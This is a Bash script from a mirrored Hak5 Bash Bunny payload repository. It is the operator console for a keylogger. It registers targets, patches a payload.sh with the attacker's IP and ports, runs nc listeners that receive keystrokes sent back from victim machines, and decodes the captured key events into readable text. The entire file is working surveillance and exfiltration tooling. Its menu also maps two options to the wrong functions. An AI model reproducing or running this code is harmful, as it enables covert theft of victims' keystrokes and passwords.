mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
192 lines
7.1 KiB
Bash
192 lines
7.1 KiB
Bash
#!/bin/bash
|
|
allowAbort=true;
|
|
myInterruptHandler()
|
|
{
|
|
if $allowAbort; then
|
|
echo
|
|
echo -e "\n\033[1;34m[INFO]: \e[0mYou terminated bunnyLoggerMgr..." && exit 1;
|
|
fi;
|
|
}
|
|
trap myInterruptHandler SIGINT
|
|
echo -e "\033[4m\033[1mWelcome to BunnyLogger Manager!!!\033[0m"
|
|
echo
|
|
echo -e "1] Fetch Keylogs.\n2] Create new target.\n3] List available target.\n4] Remove target.\n5] Update target.\n6] Decode Key Logs."
|
|
echo
|
|
read -p "Enter your choice: " ch
|
|
create(){
|
|
read -p "Enter Target's name(without whitespaces): " name
|
|
if [[ $(grep -oh "\w*$name\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $name ]]; then
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0mName \"$name\" already exists."
|
|
exit 1
|
|
fi
|
|
read -p "Enter Servers IP: " ip
|
|
read -p "Enter Unique Port Number(1500-65535): " port
|
|
read -p "Enter another Unique Port Number(1500-65535): " secPort
|
|
if [ "$port" == "$secPort" ]; then
|
|
echo -e "\033[1;34m[INFO]: \033[0mTwo ports can't be similar."
|
|
exit 1
|
|
fi
|
|
if [[ $(grep -oh "\w*$ip\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $ip ]] && [[ $(grep -oh "\w*$port\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $port ]] && [[ $(grep -oh "\w*$secPort\w*" ~/.config/bunnyLogger/bunnyLogger.db) == $secPort ]]; then
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0mTarget exist with similar IP address \"$ip\" and port number one \"$port\", port number two \"$secPort\"."
|
|
exit 1
|
|
fi
|
|
max=65535
|
|
min=1500
|
|
if [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] && (( $port <= $max )) && (( $port >= $min )) && (( $secPort <= $max )) && (( $secPort >= $min )); then
|
|
read -p "Specify directory for output: " dir
|
|
if [ ! -d "$dir" ]; then
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory."
|
|
exit 1
|
|
else
|
|
cp -r ~/.config/bunnyLogger/payload.sh $dir
|
|
fi
|
|
sed -i -e "s/0.0.0.0/$ip/g" $dir/payload.sh
|
|
sed -i -e "s/4444/$port/g" $dir/payload.sh
|
|
sed -i -e "s/5555/$secPort/g" $dir/payload.sh
|
|
echo -e "$(echo "$name"|xargs)\t$ip\t$port\t$secPort" >> ~/.config/bunnyLogger/bunnyLogger.db
|
|
else
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid IP address \"$ip\" or Port Number \"$port\" or Port Number \"$secPort\"."
|
|
exit 1
|
|
fi
|
|
|
|
}
|
|
list(){
|
|
|
|
column -t -o ' ' ~/.config/bunnyLogger/bunnyLogger.db | awk '{print NR" - "$0}'
|
|
}
|
|
remove(){
|
|
echo
|
|
list
|
|
echo
|
|
read -p "Enter name of target to remove: " rmv
|
|
if grep -q $rmv ~/.config/bunnyLogger/bunnyLogger.db; then
|
|
sed -i "/\b\($rmv\)\b/d" ~/.config/bunnyLogger/bunnyLogger.db
|
|
echo -e "\033[1;34m\e[1m[INFO]: \e[0m Successfully Removed \"$rmv\"."
|
|
else
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$rmv\" no such target found."
|
|
fi
|
|
}
|
|
update(){
|
|
echo
|
|
list
|
|
echo
|
|
read -p "Choose target number: " cho
|
|
read -p "You want to update (ip|portOne|portTwo): " ent
|
|
if [ "$ent" = ip ]
|
|
then
|
|
one=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}")
|
|
read -p "Enter new ip: " use
|
|
if [[ $use =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
|
|
sed -i -e "$cho s/$one/$use/g" ~/.config/bunnyLogger/bunnyLogger.db
|
|
echo -e "\033[1;34m\e[1m[INFO]: \e[0mSuccessfully Updated IP."
|
|
else
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid IP address \"$use\"."
|
|
exit
|
|
fi
|
|
elif [ "$ent" = portOne ]
|
|
then
|
|
two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 3}')
|
|
read -p "Enter new Port number: " useP
|
|
max=65535
|
|
min=1500
|
|
if (( $useP <= $max )) && (( $useP >= $min )); then
|
|
sed -i -e "$cho s/$two/$useP/g" ~/.config/bunnyLogger/bunnyLogger.db
|
|
echo -e "\033[1;34m\e[1m[INFO]: \e[0mUpdated Port number\"$ent\"."
|
|
else
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Port Number \"$useP\"."
|
|
fi
|
|
elif [ "$ent" = portTwo ]
|
|
then
|
|
two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 4}')
|
|
read -p "Enter new Port number: " useP
|
|
max=65535
|
|
min=1500
|
|
if (( $useP <= $max )) && (( $useP >= $min )); then
|
|
sed -i -e "$cho s/$two/$useP/g" ~/.config/bunnyLogger/bunnyLogger.db
|
|
echo -e "\033[1;34m\e[1m[INFO]: \e[0mUpdated Port number\"$ent\"."
|
|
else
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Port Number \"$useP\"."
|
|
fi
|
|
else
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e0m[Invalid choice \"$ent\"."
|
|
fi
|
|
}
|
|
fetch(){
|
|
echo
|
|
list
|
|
echo
|
|
read -p "Enter Target number to connect: " cho
|
|
one=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}")
|
|
two=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 3}')
|
|
three=$(sed ""$cho\!d"" ~/.config/bunnyLogger/bunnyLogger.db | awk '{print $ 4}')
|
|
echo -en "1] Live Capture \t2]Fetch Stored Logs: "
|
|
read typ
|
|
case $typ in
|
|
1)
|
|
read -p "Specify directory for output: " dir
|
|
read -p "Enter filename to store logs: " filename
|
|
if [ ! -d "$dir" ]; then
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory."
|
|
exit 1
|
|
else
|
|
echo "\033[1;34m\e[1m[[INFO]: \e[0mStarted Keylogs Capture..."
|
|
nc -lvp $two > $dir/$filename.log
|
|
fi
|
|
;;
|
|
2)
|
|
read -p "Specify directory for output: " dir
|
|
read -p "Enter filename to store logs: " filename
|
|
if [ ! -d "$dir" ]; then
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0m\"$dir\" no such directory."
|
|
exit 1
|
|
else
|
|
nc -lvp 1444 > $dir/$filename.log &
|
|
nc -lvp $three
|
|
fi
|
|
;;
|
|
*)
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Choice.."
|
|
;;
|
|
esac
|
|
}
|
|
decode(){
|
|
echo -e "1] Normal Decode \t2] Informative Decode"
|
|
read -p "Enter your choice: " cho
|
|
read -p "Enter path of file to decode: " path
|
|
read -p "Enter path for decoded log: " out
|
|
case $cho in
|
|
1)
|
|
awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $path | grep press | awk '{print $4}' > $out
|
|
;;
|
|
2)
|
|
awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $path > $out
|
|
;;
|
|
*)
|
|
echo -e "\033[1;31m\e[1m[ERROR]: \e[0mInvalid Choice \"$cho\"."
|
|
;;
|
|
esac
|
|
}
|
|
case $ch in
|
|
1)
|
|
fetch
|
|
;;
|
|
2)
|
|
create
|
|
;;
|
|
3)
|
|
list
|
|
;;
|
|
4)
|
|
update
|
|
;;
|
|
5)
|
|
remove
|
|
;;
|
|
6)
|
|
decode
|
|
;;
|
|
*)
|
|
echo -e "\033[1;31m\e[1m[ERROR]: Invalid Choice \"$ch\"."
|
|
;;
|
|
esac
|